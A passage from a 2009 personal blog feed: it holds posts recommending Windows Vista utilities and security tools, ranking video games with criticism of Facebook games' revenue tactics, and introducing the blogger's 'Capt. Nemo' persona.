**Other Tools : **I would just like to recommend some more everyday helpful tools to you, in no particular order. Try them out, you might like them or not, but they are definitely worth checking out : TeraCopy, AveThumbnail Resizer, TuneUpUtilities, VistaGlazz(must use for including transparency in title bar, appwiz.cpl, WinBubbles, Privoxy, TaskBar Shuffle, Paint.NET, DupFiles, WinDirStat, OverDisk (both for checking disk usage), PMenu(especially if you use portable programs in you usb drive, or for assigning Win+ hotkeys to programs, like I use Win+P=paint, N=notepad), Nero Free version among others (Refer below for a complete listing)

**Looks : **Looks are necessary part of making your computer shine out in the crowd. And I use the least required programs for that purpose. Using Tune Up’s styler to change my login Screen, and my personal wallpaper collection which I shuffle through using “Vortec Wallpaper changer”, a utility i built. Using Vista Glazz to patch my theme files to support 3rd party themes, I use themes downloaded from “deviantArt”. I also iconized my taskbar, for efficiently managing taskbar, and changed the quick launch icon size to large(looks cool).  QTTab Bar is also a cool addition to Windows installing tabbed browsing in Windows Explorer. The current theme I use is “Cleaero”, and it gives me some cool transparency. I also use PowerMenu(another must use)for adding transparency, or changing priority of any window. I love it when my firefox window is transparent and I’m browsing while watching a video in the background. That is damn-right as cool as it gets without using Windows Blinds. And choosing the coolest gadgets can make all the difference, so see if you can find the right ones!
Complete Listing of Tools
The above was just a partial listing of the programs that I use. I generated a file listing of all the sofwares that I using four different methods. All of these are in text files, that you may use, with one exception. The easiest one is a tree map generated for my Dock Folder(list.dock). I generate a listing of all exe files inside my program files(which may not be complete since many like Chrome are installed in userdata folder). This one is renamed as list.exe.txt. Next I generate a listing of all installed programs using Hijack this!, called list.hijack. Another one was compiled using windirstat (list.windirstat). Using OverDisk I generated a virtual folder view of my Apps directory(this one’s huge at 2.x mb). Then I zipped them up and post them here. Browse through them, you might find a lesser used unknown app here. Especially check out the “tiny” folder. It is literally legendary, with tons of stuff! And one more thing, use OverDisk to open the ovd file.
Download Here – Listings
This list was composed by Capt. Nemo as a recommendation for non-power users of Windows. You are free to check out any of the programs, most of them are freeware, if not open source, and do not pose a harm to your computer. However if anything happens to your computer by these tools I am NOT responsible for the usage of the tool. And I try to use open-source/freeware tools as far as possible. If you use a commercial tool, do remember to pay the author, and stand against piracy. Otherwise use “Free as in Beer” tools like me!]]></description>
            <content:encoded><![CDATA[<p>Almost everyone looks at my laptop’s screen, and asks me “is that Windows 7 ?” and I reply each of them with the same answer “No”. I have not yet moved to 7, because of various reasons, which I am not going to explain over here, but lets just say that I’m still clinging to dear old Vista. I don’t really have much of a trouble with Vista as many people have said. I work blazingly fast with Vista, which is what it is all about. As an operating system, it is expected to help me get my job done, not do everything by itself”. And this is where my software listing comes into view. Since everyone have those “how the heck did you do that?” moments when they look at me doing stuff, I decided to publish a listing of some of my favourite applications that I use so that I may redirect you to safe spot where you may choose things as you like. This listing may not suite your way of working, however you might find a gem or two along the way. This is not a listing of all softwares that I use. Rather just a collection of cool tools that I think every Windows user must be using. If you think you’ve found that killer-app for doing things, do let me know in the comments. I’ll be listening.</p>

<ul>
  <li>**<a title="Dell Dock" href="http://www.delldock.com"><img class="thumbnail" style="display:inline;border-width:0;margin:0 0 0 15px;" src="http://captn3m0.files.wordpress.com/2009/12/delldock.jpg" border="0" alt="" width="640" height="143" align="right" /></a>Dell Dock : **I just love this tools and its ability to divide the applications that I use into categories. It doesn’t take much of a screen estate, and takes me where ever I ask it to. With the ability to assign custom icons, and add separators/categories etc, it is more than an average dock, its my favourite dock. On the downside, this is only for Dell Computers, and comes preinstalled. However you can download it from <a title="DellDock.com" href="http://www.delldock.com" target="_blank">here</a> if you didn’t get it with your dell systems. Non dell users may be interested in RK Launcher, a freeware dock that simulates Mac Dashboard, and does a pretty good job. There was another version of Dell Dock (2.x which has yet to be released on the website, but was available to Dell Studio buyers, with new and better icons. Drop by a comment if you need it.</li>
  <li>
    <p>**Windows Sidebar : **Another tool I find myself using frequently is the Windows Sidebar, with 3-4 gadgets that are absolutely essential to me, such as the NowPlaying, MultiMeter, and the Top Processes gadget. A key shortcut to remember here is Win+Space which pops up my sidebar. Gadgets are a quick way to organize yourself, and keep a check on other things, like you schedule(Date Time), twitter(Twadged), quick launching apps, direct search among other things. Most users underestimate their usage and restrict themselves to the Clock and Slideshow gadget. Go ahead and search for them, see if you can find a gadget that matches what you’d like.</p>
  </li>
  <li>**<a href="http://captn3m0.files.wordpress.com/2009/12/taskbar.jpg"><img class="thumbnail" style="display:inline;margin-left:0;margin-right:0;border-width:0;" title="My Taskbar" src="http://captn3m0.files.wordpress.com/2009/12/taskbar_thumb.jpg" border="0" alt="My Taskbar" width="480" height="77" align="right" /></a>Quick Launch : **Not many would regard this as a tool, however this gives one a productivity boost. Try putting your favourite tools in the Quick Launch, and see if that helps you a bit, between searching for that app in Start Menu, or clicking it right where its clickable. Also try increasing the size of the Quick Launch, by Unlocking the taskbar, right click-&gt;View-&gt;Large Icons. That really looks cool!</li>
  <li><a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Internet Download Manager"><strong>Internet Download Manager</strong></a>** :**My personal favourite download manager. Others that you may be interested in are : Orbit , <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=DownThemAll">DownThemAll</a>! ( a firefox extension). Helps me keep a track on what I’m downloading right now, and speed benefits are downright clear. I also like its feature to capture downloads from any application, so I don’t have to wait for those updates taking forever to download. Downloads using batch files, schedulers, and even turns off your computer when its done.</li>
  <li><a href="http://www.voidtools.com/" target="_blank"><strong>Everything</strong></a>** : **I should have put this above all in the list. This is such a good tool, I cannot overestimate its importance. What it basically does is searches “Everything”. The tool does not index file contents/properties, and only maintains an index of file names. As such it is blazingly fast, and searches all my applications/music/files damn quick. With an efficient shortcut(such as Win+S), you’re on your way to becoming a windows power user. On the downside, once you start using this real frequently, you tend to get a little disorganized putting stuff everywhere, knowing you will find it with Everything. Here’s a link to the <a href="http://www.voidtools.com">website</a>. (MUST USE)</li>
  <li><strong>Browsers :</strong> In browsers, I currently use a combination of <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Google Chrome">Google Chrome</a>/<a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Firefox">Firefox </a>as my primary browser, updated to the latest dev build, and last  stable beta respectively. Both of these are great, and I prefer Firefox with its huge base of extensions available. And if someone is out there using IE still, please switch immediately. Firefox is such a great way to browse with, and Chrome such a ease on the eyes. Its hard for me to pick between the two, I’ll rather wait and watch over the next year, where each one stands. Safari and Opera come a distant second for me with Safari being the better one.</li>
  <li>
    <p><strong>File Tools :</strong> I use <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=7-zip">7-zip</a> for compression purposes, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=CCleaner">CCleaner </a>to rid my computer of junk, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Defraggler">Defraggler </a>to defragment my hard disk, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Recuva">Recuva </a>from the same company to restore those accidently deleted files.Another tool I would mention here is “<a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=GoodSync">GoodSync</a>” which i use to sync my usb drive and my Documents. I also use it to organize my Start Menu, using a Dock folder in my Desktop, which i sync to the Start Menu. <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Dropbox">Dropbox</a> is the best tool I use for my syncing purposes, between different computers. It offers 2 gb for starters, and all the sync is on the fly, meaning you just copy things to your Dropbox folder, which is automatically synced to all of your computer. It is also a great way to sync your projects with different people.</p>
  </li>
  <li>
    <p>**Multimedia : **I prefer Windows Media Player 11 for audio, and <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=VLC">VLC </a>for video viewing. With my NowPlaying gadget, and GTalk in sync with WMP, its easy to change tracks, and let others know what you’re listening to. I also use Zune occasionally when I’m in the mood of a pure music experience. Pictures are pretty easy to manage with Windows built in Photo Gallery, or its live version. Also check out picasa, google’s free photo management tool.</p>
  </li>
  <li>
    <p><strong>Office Tools :</strong>I am currently using a Technical Preview Beta of <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Office 2010">Office 2010</a>, for documents,presentations. <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Notepad++">Notepad++</a> for text and code editing, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Foxit PDF Reader">Foxit PDF Reader</a> for ebooks, and reading stuff, which is way faster, and smaller than that Bloated Adobe Acrobat Reader. I use <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Windows Live Writer,">Windows Live Writer</a>, which offers a lot of plugins to edit posts, including this one.Offline gmail and Google Docs capability is way cooler than you think. Do try it out</p>
  </li>
  <li>
    <p><strong><a href="http://captn3m0.files.wordpress.com/2009/12/mse.jpg"><img class="thumbnail" style="display:inline;border-width:0;margin:0 0 0 20px;" title="mse" src="http://captn3m0.files.wordpress.com/2009/12/mse_thumb.jpg" border="0" alt="mse" width="306" height="168" align="right" /></a> Anti Virus :</strong> This is one of the areas where I am consulted the most. Which antivirus to use? Well I would recommend you <a href="http://www.google.com/search?btnI=I'm Feeling Lucky&amp;q=Kaspersky">Kaspersky </a>if you’re ready to shell out some money with a little slowing down to your system or use “<a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Microsoft Security Essentials">Microsoft Security Essentials</a>” which I currently use. It is quick, doesn’t hog down my system, stops real time protection when i want it to, excludes some of my dangerous folders from being scanned and nuked, updates itself, detects almost any virus I dare to throw at it, and looks neat. On the downside, however it is just minimal, with no support for hosts file scanning, white listing, firewall, cookie management, user control, among other “high level stuff” that other anti viruses offer. But I like it, have been consistently using it for last 3 months, and am pretty sure I’m virus free. It does have a catch : you must own a valid, genuine copy of Windows to use the tool.</p>
  </li>
  <li>
    <p><strong>Security Tools :</strong> Security Tools includes those nifty small programs that help me keep my computer safe, and sound. This listing comprises of tools I would suggest to the average user, I personally use a combination more than the following tools:</p>

    <ul>
      <li>
        <p><a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=AMPAWSmasherX">AMPAWSmasherX</a> :Stops antiviruses from using your pen drive as a medium, by blocking that autorun.inf file. You might not find the tool easily available for download, but if you do, its a pretty good one.</p>
      </li>
      <li>
        <p><a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=SpyBot Search &amp; Destroy">SpyBot Search &amp; Destroy</a> : This is a one stop protection for all malware. Keep the definitions updated, however, and you will find that infections are pretty easy to deal with.</p>
      </li>
      <li>
        <p><a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=HiJack This">HiJack This</a> : Must use every 2 weeks or so. Shows you anything that has been changed from normal settings on your computer,and allows you to change it to default. Use carefully, as it may cause instability on your system later on, as it is quite a powerful tool, and if you don’t know what to do, generate your report, and post it online in one of the help forums.</p>
      </li>
      <li>
        <p><a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=WinPatrol"><img class="thumbnail" style="display:inline;margin-left:0;margin-right:0;border-width:0;" title="winpatrol" src="http://captn3m0.files.wordpress.com/2009/12/winpatrol.jpg" border="0" alt="winpatrol" width="377" height="168" align="right" /> WinPatrol</a> : This is also a must-use program for securing your computer against anything “unwanted” which may include viruses, malware, additional crapware, fake windows services, hidden files, and the like. This is basically a watchdog(Scotty), which keeps a watch on any new startup programs (my favorite), and file extension changes, and new services and the like. If Scotty detects an unwanted change in your system, it barks and reminds you of the change and asks you if you’d like to keep it. It also allows you to add/remove/delay your startup programs list, and is my favourite program of the lot.</p>
      </li>
    </ul>
  </li>
  <li>
    <p>**Other Tools : **I would just like to recommend some more everyday helpful tools to you, in no particular order. Try them out, you might like them or not, but they are definitely worth checking out : <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=TeraCopy">TeraCopy</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=AveThumbnail Resizer">AveThumbnail Resizer</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=TuneUpUtilities">TuneUpUtilities</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=VistaGlazz">VistaGlazz</a>(must use for including transparency in title bar, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=appwiz.cpl">appwiz.cpl</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=WinBubbles">WinBubbles</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Privoxy">Privoxy</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=TaskBar Shuffle">TaskBar Shuffle</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=Paint.NET">Paint.NET</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=DupFiles">DupFiles</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=WinDirStat">WinDirStat</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=OverDisk">OverDisk</a> (both for checking disk usage), <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=PMenu">PMenu</a>(especially if you use portable programs in you usb drive, or for assigning Win+ hotkeys to programs, like I use Win+P=paint, N=notepad), <a href="http://www.google.com/search?btnI=I'm Feeling Lucky&amp;q=Nero Free version">Nero Free version</a> among others (Refer below for a complete listing)
<a href="http://captn3m0.files.wordpress.com/2009/12/pm.jpg"><img class="thumbnail" style="display:inline;margin-left:0;margin-right:0;border-width:0;" title="PowerMenu" src="http://captn3m0.files.wordpress.com/2009/12/pm_thumb.jpg" border="0" alt="PowerMenu" width="244" height="195" align="right" /></a></p>
  </li>
  <li>**Looks : **Looks are necessary part of making your computer shine out in the crowd. And I use the least required programs for that purpose. Using Tune Up’s styler to change my login Screen, and my personal wallpaper collection which I shuffle through using “Vortec Wallpaper changer”, a utility i built. Using Vista Glazz to patch my theme files to support 3rd party themes, I use themes downloaded from “deviantArt”. I also iconized my taskbar, for efficiently managing taskbar, and changed the quick launch icon size to large(looks cool).  <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=QTTab Bar">QTTab Bar</a> is also a cool addition to Windows installing tabbed browsing in Windows Explorer. The current theme I use is “Cleaero”, and it gives me some cool transparency. I also use <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&amp;q=PowerMenu">PowerMenu</a>(another must use)for adding transparency, or changing priority of any window. I love it when my firefox window is transparent and I’m browsing while watching a video in the background. That is damn-right as cool as it gets without using Windows Blinds. And choosing the coolest gadgets can make all the difference, so see if you can find the right ones!</li>
</ul>

<h3 id="complete-listing-of-tools">Complete Listing of Tools</h3>

<blockquote>
  <p>The above was just a partial listing of the programs that I use. I generated a file listing of all the sofwares that I using four different methods. All of these are in text files, that you may use, with one exception. The easiest one is a tree map generated for my Dock Folder(list.dock). I generate a listing of all exe files inside my program files(which may not be complete since many like Chrome are installed in userdata folder). This one is renamed as list.exe.txt. Next I generate a listing of all installed programs using Hijack this!, called list.hijack. Another one was compiled using windirstat (list.windirstat). Using OverDisk I generated a virtual folder view of my Apps directory(this one’s huge at 2.x mb). Then I zipped them up and post them here. Browse through them, you might find a lesser used unknown app here. Especially check out the “tiny” folder. It is literally legendary, with tons of stuff! And one more thing, use OverDisk to open the ovd file.</p>

  <p>Download Here – <a href="http://dl.dropbox.com/u/1766113/List.zip" target="_self">Listings</a></p>
</blockquote>

<p>This list was composed by Capt. Nemo as a recommendation for non-power users of Windows. You are free to check out any of the programs, most of them are freeware, if not open source, and do not pose a harm to your computer. However if anything happens to your computer by these tools I am NOT responsible for the usage of the tool. And I try to use open-source/freeware tools as far as possible. If you use a commercial tool, do remember to pay the author, and stand against piracy. Otherwise use “Free as in Beer” tools like me!</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Games to play and not to play]]></title>
            <link>https://captnemo.in/blog/2009/11/23/gamers-saga-games-to-play-and-not-to-play/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2009/11/23/gamers-saga-games-to-play-and-not-to-play/</guid>
            <pubDate>Mon, 23 Nov 2009 00:00:00 GMT</pubDate>
            <description><![CDATA[This article has been bubbling in my mind for quite some time, and I’ve decided to steam it off. There are games that you must play, like Mario or Contra. Then there are games that you play (Counter Strike, AoE). Some games you wish you could play (Assassin’s Creed, Far Cry). Games you should play (Braid, Minesweeper, Spore). And finally come the games you must NEVER play (Farmville, World Of Warcraft, Mafia Wars, School Of Magic and the like). Why this categorization? Because I recently decided to leave School Of Magic on facebook after a week long affair where I reached lvl 15, and was about to get into “thick of things” as they say. Why? Because I realized that SOM is not a true game. A game is supposed to be entertaining, and indulgive. If it tells me to do something, I must do it because I take interest in it. Not to get ahead of my peers. I recently came across an article by Jonathan Blow, my favourite game designer (Braid). He opened my mind to the fact that “A Game is a form of art”.
You may not agree with this statement right now, but consider James Cameron’s Avatar, which looks so close to real, yet is live 3d. It does look kind of gamer-ish, doesn’t it? And we all agree that cinemas, and literature are a part of our culture, part of our art. But as movies get closer to games(Resident Evil, Prince Of Persia), the same is happening the other way around. Games are becoming a part of our art culture. Games like Bio-Shock, and Fear portray the doomed versions of our future. The designer behind these games did not just say, let’s make another FPS, where you kill everything that moves (that was Doom 1,2 by the way). They decided to create a realistic storyline, and a better game play. That is as innovative as it takes to get the feel of the game to the player. Let us now take up some of these categories I defined quickly.
Games You Must Play
  These are the kind of games, that each of us has played. They remind us of how we first stared at that green background trying to figure out the next play in Solitaire. Or the joy of ducking under the dragon and touching that axe in Mario. These games still remind us about the giant leap that the gaming industry has taken. For Dave, Wolf-3d, Roadrash, we have reached graphics quality that surpasses HD (Call Of Duty Modern Warfare 2)
  Games You Play
  Skip this if you aren’t a gamer. If you’re one, well you know the games I’m talking about. Nothing beats taking a frag with a deagle. Other than maybe shouting 14 before all those AoE games. Its the thrill, and excitement, and your love of the game that keeps you glued to the seat. I won’t call these games entirely unethical, because the game play here is fair enough, and exciting. You know what you’re doing, and why. And its not just because of that score, or frag. It is also because of the satisfaction that you get after that frag.
  Games You Wish You Could Play
  Sometimes you Graphics Card isn’t all that powerful, or you just can’t find a torrent/download link for the game. Sometimes 10GB games do seem big. And sometimes, as in the case of FIESTA, the game hasn’t been launched for PC.
  Games You Should Play
  These are the games that really matter. That form of the core of my “games are art” theory. Games like Braid, Osmos, Minesweeper, Prince Of Persia (not all), Tomb Raider (again not all parts). These games take you into their own world, where you get to learn, listen, think, and observe. Where you play the game because its exciting, and fun, and you want to play it. Not because someone is offering you a “level up” if you click on a button.
  Games You Should Never Play
  If once is not enough, I repeat, Stay away from these games. Please, these hacked up versions of the same code, or sometimes game idea, do not deserve to be called as games. Mafia Wars, Restaurant, Cafe Shop, and all of those mindless facebook games come here. And so do War Of Warcraft, Travian, NFS Pro Street(that was just a bad game). These so-called-games
    
do nothing to entertain you
offer you nothing but just-another-level-up
never “teach” something (play braid, you’ll understand what I mean)
have nothing interesting
Then what is the reason that they are so hyped, and most played MMORPGs? The reason is lack of better games. Lack of games that exist on facebook and is not-another-clone-of-mafia-wars. Lack of games that adhere to strict design ideas. Do not take me wrong. There are some serious game designers who are talented, but the truth is that they are forced to make what sells, and what sells is Mafia Wars. Unfortunately. And these people are forced to work for such games. Wasting their talent on such mindless games. And if all of this wasn’t enough read this quote by the CEO of Mafia Wars :
I knew that i wanted to control my destiny, so I knew I needed revenues, right, fucking, now. Like I needed revenues now. So I funded the company myself but I did every horrible thing in the book to, just to get revenues right away. I mean we gave our users poker chips if they downloaded this zwinky toolbar which was like, I dont know, I downloaded it once and couldn’t get rid of it. laughs We did anything possible just to just get revenues so that we could grow and be a real business…So control your destiny. So that was a big lesson, controlling your business. So by the time we raised money we were profitable.
Read the entire story on facebook gaming scams here. And if you’re with me, try picking up some better titles instead of playing these nonsense games on FB]]></description>
            <content:encoded><![CDATA[<p>This article has been bubbling in my mind for quite some time, and I’ve decided to steam it off. There are games that you must play, like Mario or Contra. Then there are games that you play (Counter Strike, AoE). Some games you wish you could play (Assassin’s Creed, Far Cry). Games you should play (Braid, Minesweeper, Spore). And finally come the games you must NEVER play (Farmville, World Of Warcraft, Mafia Wars, School Of Magic and the like). Why this categorization? Because I recently decided to leave School Of Magic on facebook after a week long affair where I reached lvl 15, and was about to get into “thick of things” as they say. Why? Because I realized that SOM is not a true game. A game is supposed to be entertaining, and indulgive. If it tells me to do something, I must do it because I take interest in it. Not to get ahead of my peers. I recently came across an <a href="http://www.smh.com.au/news/articles/ethical-dilemmas/2007/09/19/1189881577195.html">article</a> by <a href="http://en.wikipedia.org/wiki/Jonathan_Blow">Jonathan Blow</a>, my favourite game designer (Braid). He opened my mind to the fact that <strong>“A Game is a form of art”</strong>.</p>

<p>You may not agree with this statement right now, but consider James Cameron’s Avatar, which looks so close to real, yet is live 3d. It does look kind of gamer-ish, doesn’t it? And we all agree that cinemas, and literature are a part of our culture, part of our art. But as movies get closer to games(Resident Evil, Prince Of Persia), the same is happening the other way around. Games are becoming a part of our art culture. Games like Bio-Shock, and Fear portray the doomed versions of our future. The designer behind these games did not just say, let’s make another FPS, where you kill everything that moves (that was Doom 1,2 by the way). They decided to create a realistic storyline, and a better game play. That is as innovative as it takes to get the feel of the game to the player. Let us now take up some of these categories I defined quickly.</p>

<dl>
  <dt>Games You Must Play</dt>
  <dd>These are the kind of games, that each of us has played. They remind us of how we first stared at that green background trying to figure out the next play in Solitaire. Or the joy of ducking under the dragon and touching that axe in Mario. These games still remind us about the giant leap that the gaming industry has taken. For Dave, Wolf-3d, Roadrash, we have reached graphics quality that surpasses HD (Call Of Duty Modern Warfare 2)</dd>
  <dt>Games You Play</dt>
  <dd>Skip this if you aren’t a gamer. If you’re one, well you know the games I’m talking about. Nothing beats taking a frag with a deagle. Other than maybe shouting 14 before all those AoE games. Its the thrill, and excitement, and your love of the game that keeps you glued to the seat. I won’t call these games entirely unethical, because the game play here is fair enough, and exciting. You know what you’re doing, and why. And its not just because of that score, or frag. It is also because of the satisfaction that you get after that frag.</dd>
  <dt>Games You Wish You Could Play</dt>
  <dd>Sometimes you Graphics Card isn’t all that powerful, or you just can’t find a torrent/download link for the game. Sometimes 10GB games do seem big. And sometimes, as in the case of FIESTA, the game hasn’t been launched for PC.</dd>
  <dt>Games You Should Play</dt>
  <dd>These are the games that really matter. That form of the core of my “games are art” theory. Games like <a href="http://www.braid-game.com">Braid</a>, <a href="http://www.hemispheregames.com/osmos/">Osmos</a>, Minesweeper, Prince Of Persia (not all), Tomb Raider (again not all parts). These games take you into their own world, where you get to learn, listen, think, and observe. Where you play the game because its exciting, and fun, and you want to play it. Not because someone is offering you a “level up” if you click on a button.</dd>
  <dt>Games You Should Never Play</dt>
  <dd>If once is not enough, I repeat, <strong>Stay away from these games</strong>. Please, these hacked up versions of the same code, or sometimes game idea, do not deserve to be called as games. Mafia Wars, Restaurant, Cafe Shop, and all of those mindless facebook games come here. And so do War Of Warcraft, Travian, NFS Pro Street(that was just a bad game). These so-called-games
    <ol>
      <li>do nothing to entertain you</li>
      <li>offer you nothing but just-another-level-up</li>
      <li>never “teach” something (play braid, you’ll understand what I mean)</li>
      <li>have nothing interesting</li>
    </ol>
  </dd>
</dl>

<p>Then what is the reason that they are so hyped, and most played MMORPGs? The reason is lack of better games. Lack of games that exist on facebook and is not-another-clone-of-mafia-wars. Lack of games that adhere to strict design ideas. Do not take me wrong. There are some serious game designers who are talented, but the truth is that they are forced to make what sells, and what sells is Mafia Wars. Unfortunately. And these people are forced to work for such games. Wasting their talent on such mindless games. And if all of this wasn’t enough read this quote by the CEO of Mafia Wars :</p>

<blockquote>
  <p>I knew that i wanted to control my destiny, so I knew I needed revenues, right, fucking, now. Like I needed revenues now. So I funded the company myself but I did every horrible thing in the book to, just to get revenues right away. I mean we gave our users poker chips if they downloaded this zwinky toolbar which was like, I dont know, I downloaded it once and couldn’t get rid of it. <em>laughs</em> We did anything possible just to just get revenues so that we could grow and be a real business…So control your destiny. So that was a big lesson, controlling your business. So by the time we raised money we were profitable.</p>
</blockquote>

<p>Read the entire story on facebook gaming scams <a href="https://consumerist.com/2009/11/09/mafia-wars-ceo-brags-about-scamming-users-from-day-one/">here</a>. And if you’re with me, try picking up some better titles instead of playing these nonsense games on FB</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Welcome Aboard The Nautilus]]></title>
            <link>https://captnemo.in/blog/2009/11/19/welcome/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2009/11/19/welcome/</guid>
            <pubDate>Thu, 19 Nov 2009 00:00:00 GMT</pubDate>
            <description><![CDATA[This is my first real post on my brand new blog at wordpress, and quite seriously, I’m thrilled to get a new start. I hope this project would flourish unlike many of the other things I took up (Kasiasi, Papercut,…). I have not yet completely given up on Papercut, and I really liked the Google Sites interface, but posting online, and editing it takes time. So this is my first attempt at publishing offline edited work, using Windows Live Writer. I’ll try to use other options as well, and let you know which I like best.
Now for some blogging stuff. What’s happening aboard the Nautilus? What is the Nautilus, and who is Capt. Nemo ? Let me answer these these three questions in my introductory post first. It all began in Kota, when I was a JEE student vying to enter the holiest institutes of the country, the IIT. And what I was doing there was, well studying and playing Age Of Empires, with my two best friends, Sankalp (aka General Hendrix) and Shundi (aka DR. Lecter). And our trio was one of the most feared AoE clans in Kota. We were playing together in perfect team play, and knew every counter there was to know, and every fact in the guidebook.
There was just a little flaw, I didn’t have a name. I used to play under various names, like Godfather, Eragon, and of course Harry Potter, but none of these stuck, and I was still nameless. I was like Maerad in the The Gift, looking for her true name. That night I went sleepless, and searched my inner soul for my True name. Both of my teammates already had titles (one doctor, and other a general), so I decided I would get one as well. And after storming by brain for all the books I’ve read, and all those movies, I settled for Capt. Nemo. Where did I get the name from? It was from a book called “20,000 Leagues under the sea”, by the immortal master of Sc-Fi, Jules Verne. The character of Capt. Nemo was one of most mysterious you could ever see. And one of the most brilliant. And I got it when I’d read it for the umpteenth time, Capt. Nemo wasn’t an enigma. Just because he didn’t fit into the definition of a hero doesn’t make him a villain. I could go on and on about the character, but that would take up space, which I’m determined to use to answer the other 2 questions.
So what is the Nautilus. I call pretty much everything I own, the Nautilus. Why? Because that was Capt. Nemo’s masterpiece. His submarine, and the very first, at least on paper.And my room and my laptop are labelled as Nautilus . And this blog is the path that I follow “Aboard The Nautilus”. That brings me to the third question, what I’ve been doing lately?
Lately I’ve been playing around with PHP a lot, and mind you it is really cool. I might post some of my experiences with PHP later on. And the reason I’ve been playing with PHP is because I’ve been working on my own website(its not exactly mine, its under Web Designing Section, IITR, but I’ve written 95% of its code). I’ll be launching soon, under a limited beta, so keep watching. I’ve also been working on the second issue of Criitique, an e-magazine for the youth. With kick-ass articles you are sure to like it. Do check it at www.criitique.com. Playing Age Of Empires is now a daily affair for me now, and I’ve been working my way up and down my timings. For those interested, my timings currently are “13,20,35 with 27,28-29 pop. I’ve been tweeting a lot, and I still don’t know why the twitter fad isn’t catching up in India. Twitter is fast, and easy, so why don’t people use it? Any ideas? Let me know.
I’ve also got to study, with my end sems coming up, and this seems to be the time to do it. Got any more brainstorming ideas to work on? Wanna work with me? Join the fun Aboard The Nautilus
As an update, Windows Live Writer refused to connect to my blog and I finnaly used BlogDesk to publish my post. And I also tried Qumana, and wBlogger, and FYI, none of them work.]]></description>
            <content:encoded><![CDATA[<p>This is my first real post on my brand new blog at wordpress, and quite seriously, I’m thrilled to get a new start. I hope this project would flourish unlike many of the other things I took up (<a href="http://kasiasi.blogspot.com" target="_blank">Kasiasi</a>, <a href="http://www.papercut.co.nr" target="_blank">Papercut</a>,…). I have not yet completely given up on Papercut, and I really liked the Google Sites interface, but posting online, and editing it takes time. So this is my first attempt at publishing offline edited work, using Windows Live Writer. I’ll try to use other options as well, and let you know which I like best.</p>

<p>Now for some blogging stuff. What’s happening aboard the Nautilus? What is the Nautilus, and who is Capt. Nemo ? Let me answer these these three questions in my introductory post first. It all began in Kota, when I was a JEE student vying to enter the holiest institutes of the country, the IIT. And what I was doing there was, well studying and playing Age Of Empires, with my two best friends, Sankalp (aka General Hendrix) and Shundi (aka DR. Lecter). And our trio was one of the most feared AoE clans in Kota. We were playing together in perfect team play, and knew every counter there was to know, and every fact in the guidebook.</p>

<p>There was just a little flaw, I didn’t have a name. I used to play under various names, like Godfather, Eragon, and of course Harry Potter, but none of these stuck, and I was still nameless. I was like Maerad in the The Gift, looking for her true name. That night I went sleepless, and searched my inner soul for my True name. Both of my teammates already had titles (one doctor, and other a general), so I decided I would get one as well. And after storming by brain for all the books I’ve read, and all those movies, I settled for <a href="http://en.wikipedia.org/wiki/Capt._Nemo" target="_blank">Capt. Nemo</a>. Where did I get the name from? It was from a book called “20,000 Leagues under the sea”, by the immortal master of Sc-Fi, Jules Verne. The character of Capt. Nemo was one of most mysterious you could ever see. And one of the most brilliant. And I got it when I’d read it for the umpteenth time, Capt. Nemo wasn’t an enigma. Just because he didn’t fit into the definition of a hero doesn’t make him a villain. I could go on and on about the character, but that would take up space, which I’m determined to use to answer the other 2 questions.</p>

<p>So what is the Nautilus. I call pretty much everything I own, the Nautilus. Why? Because that was Capt. Nemo’s masterpiece. His submarine, and the very first, at least on paper.And my room and my laptop are labelled as Nautilus . And this blog is the path that I follow “Aboard The Nautilus”. That brings me to the third question, what I’ve been doing lately?</p>

